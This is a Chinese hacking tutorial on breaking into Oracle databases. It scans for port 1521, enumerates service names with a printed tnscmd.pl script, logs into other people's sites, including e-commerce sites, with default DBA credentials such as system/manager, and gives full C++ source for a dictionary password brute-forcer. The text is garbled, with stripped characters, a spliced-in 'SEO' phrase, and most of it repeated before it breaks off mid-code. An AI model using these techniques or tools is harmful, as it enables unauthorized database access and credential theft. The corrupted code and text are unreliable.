黑客入侵oracle数据库的一些心得
网络安全 2021-07-03 09:40www.168986.cn网络安全知识
一、先看狼蚁网站SEO优化的一个贴子:
Oracle数据库是现在很流行的数据库系统,很多大型网站都采用Oracle,它之所以倍受用户喜爱是因为它有以下突出的特点
1、支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库,其大小可到几百千兆,可充分利用硬件设备。支持大量用户在同一数据上执行各种数据应用,并使数据争用最小,保证数据一致性。系统维护具有高的性能,Oracle每天可连续24小时工作,正常的系统操作(后备或个别计算机系统故障)不会中断数据库的使用。可控制数据库数据的可用性,可在数据库级或在子数据库级上控制。
2、Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。所以它是一个开放系统,保护了用户的投资。美国标准化和技术研究所(NIST)对Oracle7 SERVER进行检验,100%地与ANSI/ISO SQL89标准的二级相兼容。
3、实施安全性控制和完整性控制。Oracle为限制各监控数据存取提供系统可靠的安全性。Oracle实施数据完整性,为可接受的数据指定标准。
4、支持分布式数据库和分布处理。Oracle为了充分利用计算机系统和网络,允许将处理分为数据库服务器和客户应用程序,所有共享的数据管理由数据库管理系统的计算机处理,而运行数据库应用的工作站集中于解释和显示数据。通过网络连接的计算机环境,Oracle将存放在多台计算机上的数据组合成一个逻辑数据库,可被全部网络用户存取。分布式系统像集中式数据库一样具有透明性和数据一致性。
具有可移植性、可兼容性和可连接性。由于Oracle软件可在许多不同的操作系统上运行,以致Oracle上所开发的应用可移植到任何操作系统,只需很少修改或不需修改。Oracle软件同工业标准相兼容,包括很多工业标准的操作系统,所开发应用系统可在任何操作系统上运行。可连接性是指ORALCE允许不同类型的计算机和操作系统通过网络可共享信息。
虽然Oracle数据库具有很高的安全性,如果我们在配置的时候不注意安全意识,那么也是很危险的。也就是说,安全最主要的还是要靠人自己,而不能过分依赖软件来实现。
我们知道,在mssql中,安装完成后默认有个sa的登陆密码为空,如果不更改就会产生安全漏洞。那么oracle呢?也有的。为了安装和调试的方便,Oracle数据库中的两个具有DBA权限的用户Sys和System的缺省密码是manager。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站, 我们就可以利用这个缺省密码去找我们感兴趣的东西。如何实现,看狼蚁网站SEO优化的文章吧。
进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。那如何去知道呢,猜?呵呵,显然是不行的。这里我们先讲讲oracle的TNS listener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。如果你用一个tcp的session去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程oracle数据库是否开启(也就是ping了),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。
理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。现在开始测试吧,需要的工具有ActivePerl,Oracle客户端,Superscan或者是其它扫描端口的软件, Tnscmd.pl。
我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下
C:perlbin>perl tnscmd.pl
usage: tnscmd.pl [mand] -h hostname
where 'mand' is something like ping, version, status, etc.
(default is ping)
[-p port] - alternate TCP port to use (default is 1521)
[--logfile logfile] - write raw packets to specified logfile
[--indent] - indent & outdent on parens
[--rawcmd mand] - build your own CONNECT_DATA string
[--cmdsize bytes] - fake TNS mand size (reveals packet leakage)
我们狼蚁网站SEO优化用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。 然后我们就这样来 C:perlbin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521 writing 91 bytes reading ._.......6.........?. .......... DESCRIPTION= TMP= VSNNUM=135286784 ERR=0 SERVICES_EXIST=1 .Q........ SERVICE= SERVICE_NAME=ORCL INSTANCE= INSTANCE_NAME=ORCL NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED SERVER STA=ready HANDLER_INFO=LOCAL SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=447278 REFUSED=0 HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/home/oracle/bin/oracle ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL' ARGV0=oracleORCL ARGS=' LOCAL=NO ' .........@
从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下 C:oracleora90BIN>sqlplus /nolog SQLPlus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002 (c) Copyright 2001 Oracle Corporation. All rights reserved. SQL>connect system/manager@ (description=(address_list=(address=(protocol=tcp) (host=xx.xx.110.110)(port=1521))) (connect_data=(SERVICE_NAME=ORCL))); 如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。如果对方已经把默认密码改了,那我们只能换别的目标了。我发现很多都是不改的,这个就是安全意识的问题了。
二、上面提到的两个小软件
tnscmd.pl Copy code
#!/usr/bin/perl
#
# tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86 & OpenBSD Sparc perl5
#
# Initial cruft: jwa@jammed. 5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see als
# http://.jammed./~jwa/hacks/security/tnscmd/tnscmd-doc.html
# http://cve.mitre./cgi-bin/cvename.cgi?name=CAN-2000-0818
# http://otn.oracle./deploy/security/alerts.htm
# http://xforce.iss./alerts/advise66.php
#
# GPL'd, of course. http://.gnu./copyleft/gpl.html
#
# $Log: tnscmd,v $
# Revision 1.3 2001/04/26 06:45:48 jwa
# typo in url. whoops.
#
# Revision 1.2 2001/04/26 06:42:17 jwa
# plete rewrite
# - use I:Socket instead of tcp_open
# - got rid of pdump()
# - put packet into @list and build it with pack()
# - added --indent option
#
# use I:Socket;
use strict; # a grumpy perl interpreter is your friend select(STDOUT);$|=1; #
# process arguments
# my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg); while ($arg = shift @ARGV) {
$main::hostname = shift @ARGV if ($arg eq "-h");
$main::port = shift @ARGV if ($arg eq "-p");
$main::logfile = shift @ARGV if ($arg eq "--logfile");
$main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize");
$main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize");
$main::indent = 1 if ($arg eq "--indent");
$main::rawcmd = shift @ARGV if ($arg eq "--rawcmd");
$main::rawout = shift @ARGV if ($arg eq "--rawout");
} if ($main::hostname eq "") {
print <<_EOF_;
usage: $0 [mand] -h hostname
where 'mand' is something like ping, version, status, etc.
(default is ping)
[-p port] - alternate TCP port to use (default is 1521)
[--logfile logfile] - write raw packets to specified logfile
[--indent] - indent & outdent on parens
[--rawcmd mand] - build your own CONNECT_DATA string
[--cmdsize bytes] - fake TNS mand size (reveals packet leakage)
_EOF_
exit(0);
} # with no mands, default to pinging port 1521 $cmd = "ping" if ($cmd eq "");
$main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical
#
# main
# my ($mand); if (defined($main::rawcmd))
{
$mand = $main::rawcmd;
}
else
{
$mand = "(CONNECT_DATA=(COMMAND=$cmd))";
}
my $response = tnscmd($mand);
viewtns($response);
exit(0);
#
# build the packet, open the socket, send the packet, return the response
# sub tnscmd
{
my ($mand) = shift @_;
my ($packetlen, $cmdlen);
my ($clenH, $clenL, $plenH, $plenL);
my ($i); print "sending $mand to $main::hostname:$main::port\n"; if ($main::fakecmdsize ne "")
{
$cmdlen = $main::fakecmdsize;
print "Faking mand length to $cmdlen bytes\n";
}
else
{
$cmdlen = length ($mand);
} $clenH = $cmdlen >> 8;
$clenL = $cmdlen & 0xff; # calculate packet length if (defined($main::fakepacketsize))
{
print "Faking packet length to $main::fakepacketsize bytes\n";
$packetlen = $main::fakepacketsize;
}
else
{
$packetlen = length($mand) 58; # "preamble" is 58 bytes
} $plenH = $packetlen >> 8;
$plenL = $packetlen & 0xff; $packetlen = length($mand) 58 if (defined($main::fakepacketsize)); # decimal offset
# 0: packetlen_high packetlen_low
# 26: cmdlen_high cmdlen_low
# 58: mand # the packet. my (@packet) = (
$plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00,
0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01,
$clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
);
for ($i=0;$i<length($mand);$i )
{
push(@packet, ord(substr($mand, $i, 1)));
} my ($sendbuf) = pack("C", @packet); print "connect ";
my ($tns_sock) = I:Socket::INET->new(
PeerAddr => $main::hostname,
PeerPort => $main::port,
Proto => 'tcp',
Type => SOCK_STREAM,
Timeout => 30) || die "connect to $main::hostname failure: $!";
$tns_sock->autoflush(1); print "\rwriting " . length($sendbuf) . " bytes\n"; if (defined($main::logfile))
{
open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!";
print SEND $sendbuf || die "write to logfile failed: $!";
close(SEND);
} my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf)); if ($count != length($sendbuf))
{
print "only wrote $count bytes?!";
exit 1;
} print "reading\n"; # get fun data
# 1st 12 bytes have some meaning which so far eludes me if (defined($main::logfile))
{
open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!";
} my ($buf, $recvbuf); # read until socket EOF
while (sysread($tns_sock, $buf, 128))
{
print REC $buf if (defined($main::logfile));
$recvbuf .= $buf;
}
close (REC) if (defined($main::logfile));
close ($tns_sock);
return $recvbuf;
}
sub viewtns
{
my ($response) = shift @_; # should have a hexdump option . . . if ($main::raw)
{
print $response;
}
else
{
$response =~ tr/\200-\377/\000-\177/; # strip high bits
$response =~ tr/\000-\027/\./;
$response =~ tr/\177/\./; if ($main::indent)
{
parenify($response);
}
else
{
print $response;
}
print "\n";
}
}
sub parenify
{
my ($buf) = shift @_;
my ($i, $c);
my ($indent, $o_indent); for ($i=0;$i<length($buf);$i )
{
$c = substr($buf, $i, 1);
$indent if ($c eq "(");
$indent-- if ($c eq ")");
if ($indent != $o_indent)
{
print "\n" unless(substr($buf, $i 1, 1) eq "(");
print " " x $indent;
$o_indent = $indent;
undef $c;
}
print $c;
}
}
Copy code
/用链表实现的oracle密码暴破程序,需要在本地安装oralce/
#define WIN32_LEAN_AND_MEAN
#if defined(_WIN32) || defined(_WIN64)
#include <windows.h>
#include <Tchar.h>
#endif
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <lmcons.h>
#include <winwk.h>
#include <time.h>
#include <stdlib.h>
#include <stdlib.h>
#include <iostream>
#include <oi.h>
#pragma ment(lib, "oraoi9.lib") //链接到oraoi9.lib库
//#pragma ment(lib, "msvcrt.lib")
#pragma ment(lib, "msvcprt.lib")
//链接到WS2_32.LIB库:
#pragma ment(lib, "Ws2_32.lib")
//#pragma ment(lib, "liboracle.lib") char target[40]= {0};//目标服务器
char port[40]={0};//SQL端口号
char db[40]={0};//数据库名 //定义链表:
typedef struct PassNode{
TCHAR password[100];
struct PassNode Next;
} PassInfo; typedef struct NameNode{
TCHAR Name[100];
struct NameNode Next;
}NameInfo; //定义NameInfo来表示NameNode结构 //
//函数SQLCheck
//功能:尝试用不同密码连接SQL Server,探测出正确的密码
//
DWORD WINAPI SQLCheck(PVOID pPwd,PVOID uUserName)
{
//定义局部变量
char szBuffer[1025]= {0};
char pwd=NULL,UserName=NULL;
char DataBase[255]={0};
//char user=NULL;
//取得传递过来准备探测的密码
pwd=(char )pPwd;
UserName=(char )uUserName;
//DataBase=(char )db;
sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);
//printf("DataBase=%s\n",DataBase);
using namespace std;
using namespace oracle::oi; Environment env=Environment::createEnvironment(Environment::DEFAULT); try{
Connection conn=env->createConnection(UserName,pwd,(char )DataBase);
if (conn)
{ printf("\n");
cout << "SUCCESS - createConnection" << endl;
//连接远程oracle Server数据库成功
return 1;
}
else
cout << "FAILURE - createConnection" << endl;
return 0; /Statementstmt=conn->createStatement("select from emp");
ResultSet rset=stmt->executeQuery();
while (rset->next()) {
cout<<"the empno is:"<<rset->getInt(1)<<endl;
cout<<"the ename is:"<<rset->getString(2)<<endl; } /
//stmt->closeResultSet (rset);
// conn->terminateStatement (stmt);
env->terminateConnection (conn); }catch(SQLException ex) {
//printf("\n");
cout<<ex.getMessage();
return 0; }
Environment::terminateEnvironment(env);
return 0;
}
void usage(){ printf("name:oracle password crack v 1.0\n");
printf("author:pt007@.sina.\n\n");
fprintf(stdout,"usage : oracle_pwd_crack [ip] [options]\n");
printf("options:\n"
"\t-x port specify the port of oracle\n"
"\t-u username specify the username of oracle\n"
// "\t-p password specify the password of oracle\n"
"\t-d dict specify the dictionary\n"
"\t-i database specify the database's name\n"
//"\t-a automode automatic crack the oracle password \n"
//"\tNote: when u use the -a option, named the username dict user.dic\n"
// "\t password dict pass.dic\n"
);
printf("\nexample: oracle_pwd_crack 127.0.0.1 -x 1521 -u sql_user.dic -d pass.dic -i PLSExtProc\n");
exit(1); } //创建密码链表:
PassInfo Create_Pass_link(int NodeNum, FILE DictFile){ / read data from password dictionary, init the link /
TCHAR szTempPass = NULL;
PassInfo h, p, s; / h point to head node, p point to the pre node,
s point to the current node/
int i; / counter/ //分配内存空间在内存的动态存储区中分配一块长度为"sizeof(PassInfo)"字节的连续区域,函数的返回值为该区域的首地址:
if ( (h = (PassInfo ) malloc(sizeof(PassInfo))) == NULL )
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
} / create the head node / / init the head node/
h->Next = NULL;
p = h; for ( i=0; i < NodeNum; i ) //狼蚁网站SEO优化是建立链表,每个密码对应一个结点:
{ //按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass
szTempPass = (TCHAR )calloc(100, sizeof(TCHAR));
ZeroMemory(szTempPass, 100); if ( (s = (PassInfo )malloc(sizeof(PassInfo))) == NULL)
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->password, '\0', 100);
fgets(szTempPass, 100, DictFile);
strncpy(s->password, szTempPass, strlen(szTempPass)-1);
s->Next =NULL; //删除一个结点
p->Next = s;//链表指针指向下一个结构地址
p = s;//下一个结构的数据域赋值 free(szTempPass);//释放内存空间 }
return h;//返回链表的头结点,它存放有第一个结点的首地址,没有数据 }
//创建用户名链表:
NameInfo Create_Name_link(int NodeNum, FILE DictFile){ / read data from password dictionary, init the link /
TCHAR szTempName = NULL;
NameInfo h, p, s; / h point to head node, p point to the pre node,
s point to the current node/
int i; / counter/ //分配内存空间在内存的动态存储区中分配一块长度为"sizeof(NameInfo)"字节的连续区域,函数的返回值为该区域(此处为NameInfo结构的首地址)的首地址: :
if ( (h = (NameInfo ) malloc(sizeof(NameInfo))) == NULL )
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
} / create the head node / / init the head node/
h->Next = NULL; //删除下一个结点
p = h; //p里面目前指向头结点 for ( i=0; i < NodeNum; i )
{//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass:
szTempName = (TCHAR )calloc(100, sizeof(TCHAR));
ZeroMemory(szTempName, 100);//字符串类型变量清0 if ( (s = (NameInfo )malloc(sizeof(NameInfo))) == NULL)
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->Name, '\0', 100);
fgets(szTempName, 100, DictFile);
strncpy(s->Name, szTempName, strlen(szTempName)-1);
s->Next =NULL;
p->Next = s;//p指向下一个结点的地址
p = s;//下一个结构的数据域赋值 free(szTempName); }
return h; }
int LineCount(FILE fd) //返回字典中的密码数量
{
int countline = 0;
char data[100] = {0};//字符数组清0 while (fgets(data, 100, fd))//从指定的文件中读一个字符串到字符数组中
countline ; rewind(fd);//指针返回到文件起始处 return countline;
} BOOL IsPortOpen(char address, int port)
{
int recv = 1;
WSADATA wsadata;
int fd;
struct sockaddr_in clientaddress;
struct hostent host1;
BOOL Result = FALSE;
struct timeval timer4;
fd_set writefd; //检查数据是否可写
ULONG value = 1;
//初使化winsock版本1.1:
recv = WSAStartup(MAKEWORD(1,1), &wsadata); if(recv != 0)
{
printf("init failed %d.\n",WSAGetLastError());
return(0);
} if ( LOBYTE( wsadata.wVersion ) != 1 ||
HIBYTE( wsadata.wVersion ) != 1 ) {
/ Tell the user that we couldn't find a useable /
/ winsock.dll. /
WSACleanup();
return(0);
}
//创建socket套接字连接:
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(fd < 0)
{
printf("[-] Create socket error %d. \n",WSAGetLastError());
return(0);
}
//将套接字fd设为非阻塞模式的方法:
ioctlsocket(fd,FIONBIO,&value); if (!(host1 = gethostbyname(address))){
printf("[-] Gethostbyname(%s) error %d.\n",address,WSAGetLastError());
return(0);
} memset(&clientaddress, 0, sizeof(struct sockaddr));
clientaddress.sin_family =AF_INET;//Ipv4地址族
clientaddress.sin_port = htons((unsigned short)port);
clientaddress.sin_addr = ((struct in_addr )host1->h_addr); timer4.tv_sec = 5;//以秒为单位指定等待时间
timer4.tv_usec = 0; FD_ZERO(&writefd);
FD_SET(fd,&writefd); //将套接字fd增添到writefd写集合中进行测试 recv = connect(fd, (struct sockaddr )&clientaddress, sizeof(struct sockaddr)); if( FD_ISSET(fd, &writefd))
{
recv = select(fd 1, NULL, &writefd, NULL, &timer4);//测试5秒钟内是否有数据写入 if( recv > 0 )
Result = TRUE;
} closesocket(fd);
WSACleanup(); return Result; }
int main(int argc, char argv)
{ PassInfo head, curr = NULL;
NameInfo headnode, currnode = NULL;
int namecount = 0, passcount = 0; /////////////////////////////////////////////////////////////////////////////////////////////
// deal with the mand line
//
/////////////////////////////////////////////////////////////////////////////////////////////
//参数不为8个的时候打印帮助
if(argc != 10)
usage(); if (argc == 10)
{
if ( strcmpi(argv[2], "-x") )
usage(); if ( strcmpi(argv[4], "-u") )
usage(); if ( strcmpi(argv[6], "-d") )
usage();
if ( strcmpi(argv[8], "-i") )
usage();
} / determinate whether the oracle port is open /
if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
{
printf("error:Can't connect to %s:%d\n", argv[1], atoi(argv[3]));
exit(0);
}
////////////////////////////////////////////////////////////////////////////////////////////
// specifiy the username
////////////////////////////////////////////////////////////////////////////////////////////// //取得目标地址和端口号:
strcpy(target,argv[1]);
strcpy(port,argv[3]);
strcpy(db,argv[9]); if ( !strcmpi(argv[4], "-u"))
{
/ open the password dictionary / FILE passdic = NULL;
if ( (passdic = fopen(argv[7], "r")) ==NULL){
fprintf(stdout, "Can't open the password dictionary\n");
exit(0);
}
/ count line of name dictionary / passcount = LineCount(passdic); //计算密码的数量
head = Create_Pass_link(passcount, passdic); / create the password link /
curr = head ->Next; //指向第一个结点 / open the password dictionary / FILE Namedict = NULL;
if ( (Namedict = fopen(argv[5], "r")) ==NULL){
fprintf(stderr, "Can't open the name dictionary\n");
exit(0);
} /密码最终保存文件/
FILE passtxt=NULL;
if ( (passtxt = fopen("pass.txt", "at ")) ==NULL){
fprintf(stdout, "Can't write pass.txt file!\n");
exit(0);
} / count line of name dictionary / namecount = LineCount(Namedict);//计算用户名数量
headnode = Create_Name_link(namecount, Namedict); / create user link /
currnode = headnode->Next; int j=0,i=1;
while(currnode!=NULL) //为NULL表示姓名链表结束
{
printf("\n开始第%d位用户%s测试:\n", j,currnode->Name);
while(curr != NULL) //为NULL表示密码链表结束
{
printf("Now cracking %s->%s \n", currnode->Name, curr->password);
fflush(NULL);
int Cracked=0;
Cracked=SQLCheck(curr->password,currnode->Name);
if ( Cracked==1 )
{
printf("%d.Suessfully:oracle server %s's username [%s] password [%s]\n",j,target,currnode->Name, curr->password);
fseek(passtxt, 0L, SEEK_END);//移动到文件尾部
fprintf(passtxt,"%d.Suessfully:oracle server %s's username [%s] password [%s]\r\n",i ,target,currnode->Name, curr->password);
//exit(0);发现一个密码就退出
break;
}
curr = curr->Next;//移动到下一个结点
Sleep(100);//暂停100ms,即0.1s } / starting crack the oracle password/
currnode = currnode->Next;
curr = head ->Next; //移到密码链表的第一个结点
}
printf("\n\n密码猜解结束:\n本次共猜解了%d位用户,%d个密码!\n",namecount,passcount);
printf("请使用\"type pass.txt\"来查看当前目录下的pass.txt文件!\n");
fprintf(passtxt,"\r\n\r\n");
fclose(passdic);
fclose(Namedict);
fclose(passtxt);
free(head);
} return 0; }
我们狼蚁网站SEO优化用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。 然后我们就这样来 C:perlbin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521 writing 91 bytes reading ._.......6.........?. .......... DESCRIPTION= TMP= VSNNUM=135286784 ERR=0 SERVICES_EXIST=1 .Q........ SERVICE= SERVICE_NAME=ORCL INSTANCE= INSTANCE_NAME=ORCL NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED SERVER STA=ready HANDLER_INFO=LOCAL SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=447278 REFUSED=0 HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/home/oracle/bin/oracle ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL' ARGV0=oracleORCL ARGS=' LOCAL=NO ' .........@
从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下 C:oracleora90BIN>sqlplus /nolog SQLPlus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002 (c) Copyright 2001 Oracle Corporation. All rights reserved. SQL>connect system/manager@ (description=(address_list=(address=(protocol=tcp) (host=xx.xx.110.110)(port=1521))) (connect_data=(SERVICE_NAME=ORCL))); 如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。如果对方已经把默认密码改了,那我们只能换别的目标了。我发现很多都是不改的,这个就是安全意识的问题了。
二、上面提到的两个小软件
tnscmd.pl Copy code
#!/usr/bin/perl
#
# tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86 & OpenBSD Sparc perl5
#
# Initial cruft: jwa@jammed. 5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see als
# http://.jammed./~jwa/hacks/security/tnscmd/tnscmd-doc.html
# http://cve.mitre./cgi-bin/cvename.cgi?name=CAN-2000-0818
# http://otn.oracle./deploy/security/alerts.htm
# http://xforce.iss./alerts/advise66.php
#
# GPL'd, of course. http://.gnu./copyleft/gpl.html
#
# $Log: tnscmd,v $
# Revision 1.3 2001/04/26 06:45:48 jwa
# typo in url. whoops.
#
# Revision 1.2 2001/04/26 06:42:17 jwa
# plete rewrite
# - use I:Socket instead of tcp_open
# - got rid of pdump()
# - put packet into @list and build it with pack()
# - added --indent option
#
# use I:Socket;
use strict; # a grumpy perl interpreter is your friend select(STDOUT);$|=1; #
# process arguments
# my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg); while ($arg = shift @ARGV) {
$main::hostname = shift @ARGV if ($arg eq "-h");
$main::port = shift @ARGV if ($arg eq "-p");
$main::logfile = shift @ARGV if ($arg eq "--logfile");
$main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize");
$main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize");
$main::indent = 1 if ($arg eq "--indent");
$main::rawcmd = shift @ARGV if ($arg eq "--rawcmd");
$main::rawout = shift @ARGV if ($arg eq "--rawout");
} if ($main::hostname eq "") {
print <<_EOF_;
usage: $0 [mand] -h hostname
where 'mand' is something like ping, version, status, etc.
(default is ping)
[-p port] - alternate TCP port to use (default is 1521)
[--logfile logfile] - write raw packets to specified logfile
[--indent] - indent & outdent on parens
[--rawcmd mand] - build your own CONNECT_DATA string
[--cmdsize bytes] - fake TNS mand size (reveals packet leakage)
_EOF_
exit(0);
} # with no mands, default to pinging port 1521 $cmd = "ping" if ($cmd eq "");
$main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical
#
# main
# my ($mand); if (defined($main::rawcmd))
{
$mand = $main::rawcmd;
}
else
{
$mand = "(CONNECT_DATA=(COMMAND=$cmd))";
}
my $response = tnscmd($mand);
viewtns($response);
exit(0);
#
# build the packet, open the socket, send the packet, return the response
# sub tnscmd
{
my ($mand) = shift @_;
my ($packetlen, $cmdlen);
my ($clenH, $clenL, $plenH, $plenL);
my ($i); print "sending $mand to $main::hostname:$main::port\n"; if ($main::fakecmdsize ne "")
{
$cmdlen = $main::fakecmdsize;
print "Faking mand length to $cmdlen bytes\n";
}
else
{
$cmdlen = length ($mand);
} $clenH = $cmdlen >> 8;
$clenL = $cmdlen & 0xff; # calculate packet length if (defined($main::fakepacketsize))
{
print "Faking packet length to $main::fakepacketsize bytes\n";
$packetlen = $main::fakepacketsize;
}
else
{
$packetlen = length($mand) 58; # "preamble" is 58 bytes
} $plenH = $packetlen >> 8;
$plenL = $packetlen & 0xff; $packetlen = length($mand) 58 if (defined($main::fakepacketsize)); # decimal offset
# 0: packetlen_high packetlen_low
# 26: cmdlen_high cmdlen_low
# 58: mand # the packet. my (@packet) = (
$plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00,
0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01,
$clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
);
for ($i=0;$i<length($mand);$i )
{
push(@packet, ord(substr($mand, $i, 1)));
} my ($sendbuf) = pack("C", @packet); print "connect ";
my ($tns_sock) = I:Socket::INET->new(
PeerAddr => $main::hostname,
PeerPort => $main::port,
Proto => 'tcp',
Type => SOCK_STREAM,
Timeout => 30) || die "connect to $main::hostname failure: $!";
$tns_sock->autoflush(1); print "\rwriting " . length($sendbuf) . " bytes\n"; if (defined($main::logfile))
{
open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!";
print SEND $sendbuf || die "write to logfile failed: $!";
close(SEND);
} my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf)); if ($count != length($sendbuf))
{
print "only wrote $count bytes?!";
exit 1;
} print "reading\n"; # get fun data
# 1st 12 bytes have some meaning which so far eludes me if (defined($main::logfile))
{
open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!";
} my ($buf, $recvbuf); # read until socket EOF
while (sysread($tns_sock, $buf, 128))
{
print REC $buf if (defined($main::logfile));
$recvbuf .= $buf;
}
close (REC) if (defined($main::logfile));
close ($tns_sock);
return $recvbuf;
}
sub viewtns
{
my ($response) = shift @_; # should have a hexdump option . . . if ($main::raw)
{
print $response;
}
else
{
$response =~ tr/\200-\377/\000-\177/; # strip high bits
$response =~ tr/\000-\027/\./;
$response =~ tr/\177/\./; if ($main::indent)
{
parenify($response);
}
else
{
print $response;
}
print "\n";
}
}
sub parenify
{
my ($buf) = shift @_;
my ($i, $c);
my ($indent, $o_indent); for ($i=0;$i<length($buf);$i )
{
$c = substr($buf, $i, 1);
$indent if ($c eq "(");
$indent-- if ($c eq ")");
if ($indent != $o_indent)
{
print "\n" unless(substr($buf, $i 1, 1) eq "(");
print " " x $indent;
$o_indent = $indent;
undef $c;
}
print $c;
}
}
Copy code
/用链表实现的oracle密码暴破程序,需要在本地安装oralce/
#define WIN32_LEAN_AND_MEAN
#if defined(_WIN32) || defined(_WIN64)
#include <windows.h>
#include <Tchar.h>
#endif
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <lmcons.h>
#include <winwk.h>
#include <time.h>
#include <stdlib.h>
#include <stdlib.h>
#include <iostream>
#include <oi.h>
#pragma ment(lib, "oraoi9.lib") //链接到oraoi9.lib库
//#pragma ment(lib, "msvcrt.lib")
#pragma ment(lib, "msvcprt.lib")
//链接到WS2_32.LIB库:
#pragma ment(lib, "Ws2_32.lib")
//#pragma ment(lib, "liboracle.lib") char target[40]= {0};//目标服务器
char port[40]={0};//SQL端口号
char db[40]={0};//数据库名 //定义链表:
typedef struct PassNode{
TCHAR password[100];
struct PassNode Next;
} PassInfo; typedef struct NameNode{
TCHAR Name[100];
struct NameNode Next;
